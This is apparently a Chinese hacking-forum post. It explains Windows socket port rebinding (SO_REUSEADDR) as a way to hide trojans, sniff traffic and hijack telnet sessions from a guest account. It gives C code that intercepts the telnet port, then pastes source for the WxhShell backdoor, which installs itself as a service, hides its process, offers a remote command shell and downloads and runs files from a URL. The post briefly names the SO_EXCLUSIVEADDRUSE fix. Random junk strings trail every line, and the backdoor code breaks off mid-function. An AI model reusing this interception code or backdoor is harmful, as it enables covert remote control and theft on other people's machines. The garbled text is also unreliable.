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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: </;e$fh`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .T7CMkYt  
Z$J-4KN  
  saddr.sin_family = AF_INET; 4}DFCF%B  
_OG9wi(Fpx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )yyH_Ax2  
[lML^CYQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a2.6 S./  
LC]0c)v#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /4(HVua  
=!L}/Dl  
  这意味着什么?意味着可以进行如下的攻击: }kt%dDU  
L91vp'+2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f#&z m} t  
}6^5mhsL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L E\rc A  
Tl yyJ{~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?<jWEz=  
s3sRMB2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \2; !}  
iA{q$>{8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *0" ojfVn  
s``a{ HZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]0T*#U/P  
2&*#k  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %ud-3u52M8  
=iB[sLEJ  
  #include kk`K;`[tB  
  #include LT$t%V0?.e  
  #include E] g Lwg9K  
  #include    BDf M4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F)~>4>hPr  
  int main() /TsXm-g#  
  { lF64g  
  WORD wVersionRequested; Iq%<E:+GL  
  DWORD ret; $yi:0t8t  
  WSADATA wsaData; G0!6rDu2,  
  BOOL val; Jf4` 2KN\  
  SOCKADDR_IN saddr; q`PA~C];  
  SOCKADDR_IN scaddr; b4wT3  
  int err; 445JOP  
  SOCKET s; M-].l3  
  SOCKET sc; h._eP.W`  
  int caddsize; \%r0'1f  
  HANDLE mt; d:iJUVpr  
  DWORD tid;   U;iCH  
  wVersionRequested = MAKEWORD( 2, 2 ); I`oJOLV  
  err = WSAStartup( wVersionRequested, &wsaData ); d1_kw A2y  
  if ( err != 0 ) { (b~l.@xh  
  printf("error!WSAStartup failed!\n"); \},H\kK+^  
  return -1; QlvP[Jtr  
  } BPv+gx(>k  
  saddr.sin_family = AF_INET; Q&PWW#D  
   @+t|Aa^g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >{ {ds--  
t0fgG/f'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @D-I@Cyl  
  saddr.sin_port = htons(23); 7WH'GoBh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'qEw]l  
  { Z":m(}u O  
  printf("error!socket failed!\n"); Vaf,  
  return -1; pf'DbY!  
  } -zYa@PW  
  val = TRUE; 3.Mpd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s@$0!8sxm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D(Rr<-(  
  { V+D5<nICr  
  printf("error!setsockopt failed!\n"); >'Lkn2WI  
  return -1; UH0l8ixc  
  } {,uSDI Oj$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @7"n X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h1 (i/{}:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1o/(fy  
OcMB)1uh\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >"1EN5W  
  { T^] ]z}k  
  ret=GetLastError(); xGr{ad.N  
  printf("error!bind failed!\n"); G*EF_N. G0  
  return -1; M/Z$?nd_H  
  } TU)Pi.Aa  
  listen(s,2); @su<_m6'  
  while(1) b]?5r)GK  
  { g$C]ln>"9m  
  caddsize = sizeof(scaddr); +d LUq2  
  //接受连接请求 ShVR{gIs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Wn6m$=  
  if(sc!=INVALID_SOCKET) ]r!|@AWrQ\  
  { bBML +0a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E> pr})^w  
  if(mt==NULL) Z] r9lC  
  { jFg19C{=X  
  printf("Thread Creat Failed!\n"); WFc4(Kl  
  break; >{(c\oMD  
  } k(tB+k!vH\  
  } !21G $ [H  
  CloseHandle(mt); UVLS?1ra  
  } CLZ j=J2  
  closesocket(s); >0:3CpO*  
  WSACleanup(); O[$X36z  
  return 0; ?glx8@  
  }   N:Q.6_%^  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0sSBwG  
  { NUb$PT  
  SOCKET ss = (SOCKET)lpParam; bA 0H  
  SOCKET sc; ORKJy )*"  
  unsigned char buf[4096]; QqF*SaO>  
  SOCKADDR_IN saddr; zqU$V~5;rG  
  long num; }\H. G  
  DWORD val; jtfC3E,U  
  DWORD ret; ^m D$#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FZU1WBNL%t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X&aQR[X  
  saddr.sin_family = AF_INET; FTEC=j$ln  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /g*_dH)=  
  saddr.sin_port = htons(23); 6(?@B^S>2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  ^F?B_'  
  { x&u@!# d]  
  printf("error!socket failed!\n"); 7>@0nHec  
  return -1; 20 $Tky_  
  } ik?IC$*n3i  
  val = 100; ^y ', l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ow1+zltgj-  
  { "i&n;8?Y  
  ret = GetLastError(); a'-xCV|^  
  return -1; lMW6D0^  
  } ?$;&DoE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8hy1yt6t4~  
  { HQ=pf >  
  ret = GetLastError(); ZTqt4H  
  return -1; $l.8  
  } ;W+1 H !  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :#sBNy  
  { i)cG  
  printf("error!socket connect failed!\n"); n&]J-^Tx  
  closesocket(sc); Z>w@3$\z  
  closesocket(ss); B ( h`~pb  
  return -1; hC{2LLu;n  
  } E{-pkqx  
  while(1) f]2gjQHM  
  { zN9@.!?X2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MwD+'5   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &{WEtaXaa  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7 v3%dCvf  
  num = recv(ss,buf,4096,0); K4NzI9@  
  if(num>0) J+0 ?e9  
  send(sc,buf,num,0); M{u7Ef  
  else if(num==0) =$~x]  
  break; xzMpTZQ  
  num = recv(sc,buf,4096,0); |1!|SarM{B  
  if(num>0) c\P}Z Q  
  send(ss,buf,num,0); *2pE39  
  else if(num==0) {hO|{vz  
  break; Y8s-cc(  
  } : +^`VLIf  
  closesocket(ss); N8r+Q%ov  
  closesocket(sc); `.VkR5/  
  return 0 ; -"^"& )  
  } +&X>ul  
2"xhFxoD7  
T3)m{gv0`  
========================================================== kz#x6NXj  
},5LrX`L  
下边附上一个代码,,WXhSHELL _fj@40i M  
RC"xnnIJv  
========================================================== LWM& k#i  
\q-["W34  
#include "stdafx.h" Ax!@vL&@  
iu+H+_  
#include <stdio.h> .$G^c   
#include <string.h> ]%Whtj.,x7  
#include <windows.h> xr)m8H  
#include <winsock2.h> 6NFLk+kqN  
#include <winsvc.h> u*Y!=IT  
#include <urlmon.h> %HZ!s `w_  
[.G~5%974  
#pragma comment (lib, "Ws2_32.lib") 5= MM^$QG  
#pragma comment (lib, "urlmon.lib") Si#XF[/  
eLN(NSPoS  
#define MAX_USER   100 // 最大客户端连接数 ,n5 [Y)  
#define BUF_SOCK   200 // sock buffer cz>`$Zz  
#define KEY_BUFF   255 // 输入 buffer ]=0D~3o3  
?0E-Lac=  
#define REBOOT     0   // 重启 "0"8Rp&V|  
#define SHUTDOWN   1   // 关机 IP 1{gMG  
Ce3  
#define DEF_PORT   5000 // 监听端口 uUG&At  
i6h0_q8 >  
#define REG_LEN     16   // 注册表键长度 CBx5:}t  
#define SVC_LEN     80   // NT服务名长度 w$I$xup  
~Oj-W6-+&,  
// 从dll定义API );F /P0P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @(tiPV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ==7=1QfP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;}4e+`fF|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1\,wV,  
g5&,l  
// wxhshell配置信息 b WZ X  
struct WSCFG { vC5 (  
  int ws_port;         // 监听端口 e-{4qt  
  char ws_passstr[REG_LEN]; // 口令 ;%i.@@:IQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no xF9PjnWF=  
  char ws_regname[REG_LEN]; // 注册表键名 p@xK`=Urb  
  char ws_svcname[REG_LEN]; // 服务名 ;V~~lcD&Y`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1Yv#4t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [SLBA_d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I03 45Hc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VrRBwvp-K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }"chm=b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )N&v. w  
] i\a[3  
}; ;6zp,t0  
_RzcMX  
// default Wxhshell configuration [+$o`0q;N?  
struct WSCFG wscfg={DEF_PORT, Ed~2Qr\65  
    "xuhuanlingzhe", D8_-Dvp7H  
    1, EabZ7zFoN  
    "Wxhshell", ~rU{Q>c  
    "Wxhshell", (svd~he2  
            "WxhShell Service", Os7 3u#!'  
    "Wrsky Windows CmdShell Service", Mj@ 0F 2hy  
    "Please Input Your Password: ", J $<g" z3  
  1, _\xd]~ELj  
  "http://www.wrsky.com/wxhshell.exe", K_~SJbl  
  "Wxhshell.exe" [R[Suf  
    }; F{aM6I  
GwVSRI:[N  
// 消息定义模块 AfW9;{j&I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }h)[>I(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bQM_rqjJGw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; | [lM2  
char *msg_ws_ext="\n\rExit."; ddD $ 4+  
char *msg_ws_end="\n\rQuit."; R'r^v  
char *msg_ws_boot="\n\rReboot..."; lFL iW  
char *msg_ws_poff="\n\rShutdown..."; gobqS+c  
char *msg_ws_down="\n\rSave to "; KI Ua  
wKAc ;!  
char *msg_ws_err="\n\rErr!"; pn~$u  
char *msg_ws_ok="\n\rOK!"; \uV;UH7qe  
PUViTb  
char ExeFile[MAX_PATH]; a<X<hxW:  
int nUser = 0;  Dy@f21+  
HANDLE handles[MAX_USER]; *m sW4|=^2  
int OsIsNt; D~Y 3\KP  
q y8=4~40  
SERVICE_STATUS       serviceStatus; Ge;plD-f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U= PG0  
.sDVBT'%  
// 函数声明 9f4#b8  
int Install(void); WNPdym  
int Uninstall(void); "8 "7AoE  
int DownloadFile(char *sURL, SOCKET wsh); ^*]0quu=z  
int Boot(int flag); :bgi*pR{  
void HideProc(void); WV"{oED  
int GetOsVer(void); yVM 1W"Q  
int Wxhshell(SOCKET wsl); 29#;;n}p  
void TalkWithClient(void *cs); ewtoAru  
int CmdShell(SOCKET sock); @GG Pw9a  
int StartFromService(void); ,Mwj`fgh  
int StartWxhshell(LPSTR lpCmdLine); $u9y H Z  
<3>Ou(F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xCV3HnZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =ITMAC\  
<zK9J?ZQW>  
// 数据结构和表定义 ,9f$a n  
SERVICE_TABLE_ENTRY DispatchTable[] = @BN cIJk9  
{ |f~p3KCfV  
{wscfg.ws_svcname, NTServiceMain}, 'I_\ELb_  
{NULL, NULL} {^bs }($J  
}; T(^<sjOs  
&4yI]  
// 自我安装 |vnfY; ;z1  
int Install(void) )*iSN*T8q  
{ jn#  
  char svExeFile[MAX_PATH]; GIDC'  
  HKEY key; <Ep-aRI  
  strcpy(svExeFile,ExeFile); '7{0k{  
!R WX1Z  
// 如果是win9x系统,修改注册表设为自启动 %fpcH  
if(!OsIsNt) { 56m|gZcC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $vdGkz@6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @"H+QVJ@  
  RegCloseKey(key); P~:W+!@5v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ht S5<+Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fO.gfHI  
  RegCloseKey(key); s]r"-^eS3  
  return 0; % ;2x.  
    } qf9.S)H1Z  
  } #]|9aVrr  
} mIZ#uW  
else { 9frS!AQ  
LRv-q{jP;  
// 如果是NT以上系统,安装为系统服务 XH0R:+s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !G#3jh:kiY  
if (schSCManager!=0) J+LFzl07q  
{ }9Z?UtS  
  SC_HANDLE schService = CreateService % j7lLSusX  
  ( M#d_kDMw  
  schSCManager, !\8j[QS!  
  wscfg.ws_svcname, G)?O!(_  
  wscfg.ws_svcdisp, 0QDm3V0n  
  SERVICE_ALL_ACCESS, 0bpl3Fh.v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Db= iJ68  
  SERVICE_AUTO_START, k"V3FXC)  
  SERVICE_ERROR_NORMAL, %u43Pj  
  svExeFile, >"S'R9t  
  NULL, . c+RFX@0  
  NULL, LeY\{w  
  NULL, HT5G HkT  
  NULL, 56AaviEC  
  NULL ab' f:  
  ); V2'(}k  
  if (schService!=0) \sF}NBNT@  
  { c% 0h!zF  
  CloseServiceHandle(schService); jpaY:fcF  
  CloseServiceHandle(schSCManager); 'UT 4x9&z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !o&Mw:d  
  strcat(svExeFile,wscfg.ws_svcname); ^^%sPtp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~^IS{1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /z,sM"d  
  RegCloseKey(key); z8mR< q%`  
  return 0; q0w5ADd  
    } O.1Z3~r-N  
  } w-|i8%X  
  CloseServiceHandle(schSCManager); aIZ@5w"7  
} z8= Gc$w!  
} >OwVNG  
*#frbV?;  
return 1; \A5cM\-  
} VD +8j29  
6,0pkx&Nv  
// 自我卸载 ."PR Z,  
int Uninstall(void) yc4mWB~gyU  
{ ~|pVz/s|G  
  HKEY key; }O@S ;[v S  
wr8n*Du  
if(!OsIsNt) { %dS7u$Rnh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (ZjIwA9>  
  RegDeleteValue(key,wscfg.ws_regname); ?Gj$$IAe  
  RegCloseKey(key); o'%F*>#v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $[[6N0}*:  
  RegDeleteValue(key,wscfg.ws_regname); or ~o'  
  RegCloseKey(key); B.K"1o  
  return 0; VE6T&fz`  
  } yK0Q,   
} #v')iR"  
} {`KgyC W:  
else { pR&cdO RsP  
3. Qf^p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~7b '4\  
if (schSCManager!=0) }` Q'!_`  
{ d^Ra1@0"q2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  #d*mG =  
  if (schService!=0) KcfW+> W3  
  { )~O{jd  
  if(DeleteService(schService)!=0) { wQp,RpM  
  CloseServiceHandle(schService); JXGIVH?Rpu  
  CloseServiceHandle(schSCManager); av gGz8  
  return 0; V_~}7~ I  
  } '9*wr*  
  CloseServiceHandle(schService); W2yNEiH  
  } %7O`]ik:  
  CloseServiceHandle(schSCManager); "(/|[7D)  
} l?a(=  
} ,<|EoravH  
)dJM  
return 1; Nt&}T  
} R/b)hP ~  
I4  Tc&b  
// 从指定url下载文件 )wpBxJ;dB}  
int DownloadFile(char *sURL, SOCKET wsh) /+sn -$/"i  
{ ?;|$R   
  HRESULT hr; s:R>uGYOd  
char seps[]= "/"; :I F&W=?9  
char *token; 1 xiq]~H  
char *file; I\Y/*u  
char myURL[MAX_PATH]; cIja^xD  
char myFILE[MAX_PATH]; %6L!JN  
 ~ceGx  
strcpy(myURL,sURL); gJ c5Y  
  token=strtok(myURL,seps); mv SNKS  
  while(token!=NULL) KHcf P7  
  { \?GUGs  
    file=token; T!pWU*aB  
  token=strtok(NULL,seps); A]BG*  
  } . ~G>vVb  
h}z^NX  
GetCurrentDirectory(MAX_PATH,myFILE); zEF3B  
strcat(myFILE, "\\"); 15 uVvp/  
strcat(myFILE, file); qp  
  send(wsh,myFILE,strlen(myFILE),0); /I$g.f/#  
send(wsh,"...",3,0); F]z xx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -G;4['p  
  if(hr==S_OK) ]Vl * !,(i  
return 0; %I(N  
else =^q:h<  
return 1; O<iE,PN)  
r&1N8o  
} e@Z(z^V  
AvEJX0"\df  
// 系统电源模块 a%;$l_wVT:  
int Boot(int flag) *J8j_-i,R  
{ 2y ~]Uo  
  HANDLE hToken; eAu3,qoM  
  TOKEN_PRIVILEGES tkp; rNfua   
0}PW?t76  
  if(OsIsNt) { 0D|^S<z6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o*f7/ZP1o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (IIOKx_  
    tkp.PrivilegeCount = 1; d|j3E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 26 o68U8&y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k-Jj k3  
if(flag==REBOOT) { <|hvH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BA A)IQF  
  return 0; }n:'@}  
} b,KQG|k  
else { kIrME:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ut& RKr3  
  return 0; +S^Uw'L$=T  
} a`q">T%q  
  } cEve70MV  
  else { h+,zfVJu  
if(flag==REBOOT) { o8 q@rwu3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :~ zK0v"  
  return 0; 9i yNR!  
} d@7 ]=P:  
else { WkXa%OZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *vCJTz  
  return 0; E:&=A 4 %  
} .FqbX5\p,  
} !wJ~p:vRdY  
B6MMn.  
return 1; ysGK5kFz  
} asj^K|.z  
-?2ThvT  
// win9x进程隐藏模块 4}W*,&_  
void HideProc(void) #&1mc_`/  
{ ,D+pGxbr   
g>/,},jv[x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /XS}<!)%  
  if ( hKernel != NULL ) P3on4c  
  { 'r(}7>~fC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -XkCbxZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !RFlv  
    FreeLibrary(hKernel); 1 c3gHc7{t  
  } K>lA6i7?  
%^2LTK(P  
return; ^7Z)/c`"  
} jU@qQ@|  
$ze%! C  
// 获取操作系统版本 -PB m@}*  
int GetOsVer(void) 80![aj}z4G  
{ -% 5*c61  
  OSVERSIONINFO winfo; (pREo/T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); < :<E~anH  
  GetVersionEx(&winfo); 9Fv1D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XBF#ILJ  
  return 1; xl5mI~n_~  
  else +]Po!bN@@  
  return 0; ht!o_0{~  
} a+uSCs[C  
vCFMO3  
// 客户端句柄模块 ^UEI`_HO0  
int Wxhshell(SOCKET wsl) t}c ymX~  
{ BCJo/m  
  SOCKET wsh; fp.,MIS  
  struct sockaddr_in client; rNO'0Ck=  
  DWORD myID; V~+Oil6sa  
Q\<C9%a  
  while(nUser<MAX_USER) ,gUSW  
{ &UEr4RK;I  
  int nSize=sizeof(client); c/^} =t(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #i%it  
  if(wsh==INVALID_SOCKET) return 1; Kxn/@@z>u  
|b QKymS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O B_g:T  
if(handles[nUser]==0) Xg^`fRg =T  
  closesocket(wsh); UP58Cln*  
else X#Y0g`muW  
  nUser++; =XzrmPu  
  } \v)Dy)Vhg2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QpBgG~h"  
&;&i#ZO  
  return 0; Q0#oR [(  
} Rf^$?D&^  
|j^^ *z@  
// 关闭 socket ~-.}]N+([  
void CloseIt(SOCKET wsh) t:eZ`6o$T\  
{ I+ rHb< P%  
closesocket(wsh); _<6 ^r  
nUser--; s+#gH@c  
ExitThread(0); IX$dDwY|O>  
} p^3 ]Q  
='`z  
// 客户端请求句柄 Y4_/G4C  
void TalkWithClient(void *cs) F@1~aeX-  
{ zq>pK_WG  
lG I1LUo  
  SOCKET wsh=(SOCKET)cs; Aq yR+  
  char pwd[SVC_LEN]; IlVz 5#R  
  char cmd[KEY_BUFF]; P(l$5x]g,  
char chr[1]; B5GT^DaT  
int i,j; JF!JY( U,  
Ew5(U`]  
  while (nUser < MAX_USER) { j1Fy'os"!  
uUB,OmLN  
if(wscfg.ws_passstr) {  0w>V![  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lr'h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !8lG"l|,l  
  //ZeroMemory(pwd,KEY_BUFF); cfBq/2I  
      i=0; AyKvh  
  while(i<SVC_LEN) { 0"ksNnxK  
;R|i@[(J  
  // 设置超时 J3fk3d`2  
  fd_set FdRead; n+QUT   
  struct timeval TimeOut; Ebw1 %W KC  
  FD_ZERO(&FdRead); $N'AZY]4]  
  FD_SET(wsh,&FdRead); ]-QY, k  
  TimeOut.tv_sec=8; ,pM~Phmp  
  TimeOut.tv_usec=0;  J -tOO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7I;xRo|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NRN3*YGo  
9 js!gJC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x' >Nz{B,P  
  pwd=chr[0]; o=}}hE\H  
  if(chr[0]==0xd || chr[0]==0xa) { BgRfy2:  
  pwd=0; $&& mGD;?K  
  break; dn(I$K8  
  } [EI~/#;  
  i++; !m"LIa#/Cs  
    } \X.CYkgK  
a\;1%2a  
  // 如果是非法用户,关闭 socket ZG[P?fM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @ x_.  
} 3#N'nhUzA  
1/X@~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BmR++?L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a~ q_2S]h  
nGQc;p5;  
while(1) { 8,B?!%FP  
%IrR+f+H  
  ZeroMemory(cmd,KEY_BUFF); eRU0gvgLu"  
zx` %)r  
      // 自动支持客户端 telnet标准   %J(y2 }  
  j=0; f++MH]I;  
  while(j<KEY_BUFF) { p)6!GdT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R= ,jqW<  
  cmd[j]=chr[0]; Z6s-n$dSm  
  if(chr[0]==0xa || chr[0]==0xd) { \d"JYym  
  cmd[j]=0; h1}U#XV  
  break; R=&9M4  
  } p7et>;WRx  
  j++; =1Nz* c  
    } aF*KY<w  
sB!#`kh  
  // 下载文件 L7i2is  
  if(strstr(cmd,"http://")) { ;iT@41)7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v: \8  
  if(DownloadFile(cmd,wsh)) 4/KGrY! ck  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4<V%7z_.B  
  else 3y^PKIIrt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Ms"LoK  
  } X$*MxMNs  
  else { V"Cx5#\7C  
I(^pIe-  
    switch(cmd[0]) { {1?94rz  
  U*sjv6*T  
  // 帮助 w`BY>Xft0  
  case '?': { Kny0 (  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eTg8I/ )%B  
    break; "/e_[_j  
  } y8*MNw  
  // 安装 jfmHc(fX4  
  case 'i': { C,;T/9  
    if(Install())  +kA>^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1oKF-";u(  
    else .8o?`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h/oRWl0r  
    break; X0:V5 e  
    } @*?)S{8  
  // 卸载 /my5s\;s|z  
  case 'r': { ')R+Z/hG.  
    if(Uninstall()) w8=&rzr8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vn&{yCm3  
    else cp1-eR_&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /80H.|8O  
    break; ]MD,{T9l\>  
    } zM+4<k_dH]  
  // 显示 wxhshell 所在路径 Sg%h}]~   
  case 'p': { wnioIpRkh  
    char svExeFile[MAX_PATH]; KA $jG{ yq  
    strcpy(svExeFile,"\n\r"); rX7GVg@H  
      strcat(svExeFile,ExeFile); sNa Lz  
        send(wsh,svExeFile,strlen(svExeFile),0); I+oe{#:.  
    break; k8KRVXgx  
    } F u>  
  // 重启 VSx9aVPkC  
  case 'b': { gB _/(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]& 8c 45c  
    if(Boot(REBOOT)) -L-#-dK'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p9>{X\eT:  
    else { R$XHjb)  
    closesocket(wsh); y+\kZIqX  
    ExitThread(0); O2pntKI  
    } U g:  
    break; 6|mHu2qXm  
    } D`|8Og  
  // 关机  =oE(ur  
  case 'd': { ~<N9ckK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =K)[3mX X  
    if(Boot(SHUTDOWN)) {EfA#{x  
